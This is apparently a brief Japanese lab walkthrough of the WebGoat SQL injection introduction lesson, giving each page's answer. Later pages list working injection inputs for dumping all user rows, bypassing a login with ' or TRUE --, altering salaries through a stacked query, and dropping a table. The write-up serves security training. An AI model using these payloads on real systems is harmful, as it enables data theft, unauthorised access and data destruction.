WebGoat-6: SQL Injection (intro)
SQLとSQLインジェクションの基本を学ぶレッスン。
Page 2
SQLなんて初めて触るよ。まあ構文はたいしたことないな。
SELECT department FROM employees WHERE first_name = 'Bob'
が答え。ちなみに"Bob"
というぐあいにダブルクォーテーションは使えないらしい。
Page 3
update employees set department = 'Sales' where first_name = 'Tobi'
が答え。
てかSQLの命令って大文字小文字の区別しないのか。
Page 4
ALTER TABLE employees ADD phone varchar(20)
が答え。
Page 5
GRANT ALTER TABLE TO UnauthorizedUser
が答え。
Page 9
'
or
'1'='1
で SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'
となり、全ユーザデータを引き出せる。
Page 10
Login_Count
に0
を、User_Id
に0 or TRUE
を入力で問題クリア。
こうして見ると、WHERE句にor TRUE
を挿入されやすいのか。
Page 11
Employee Name
に' or TRUE --
を入力。Authentication TAN
は未入力でよい。
Page 12
'; UPDATE employees SET salary = 99999999 WHERE first_name = 'John'; --
が答え。
Page 13
'; DROP TABLE access_log; --
が答え。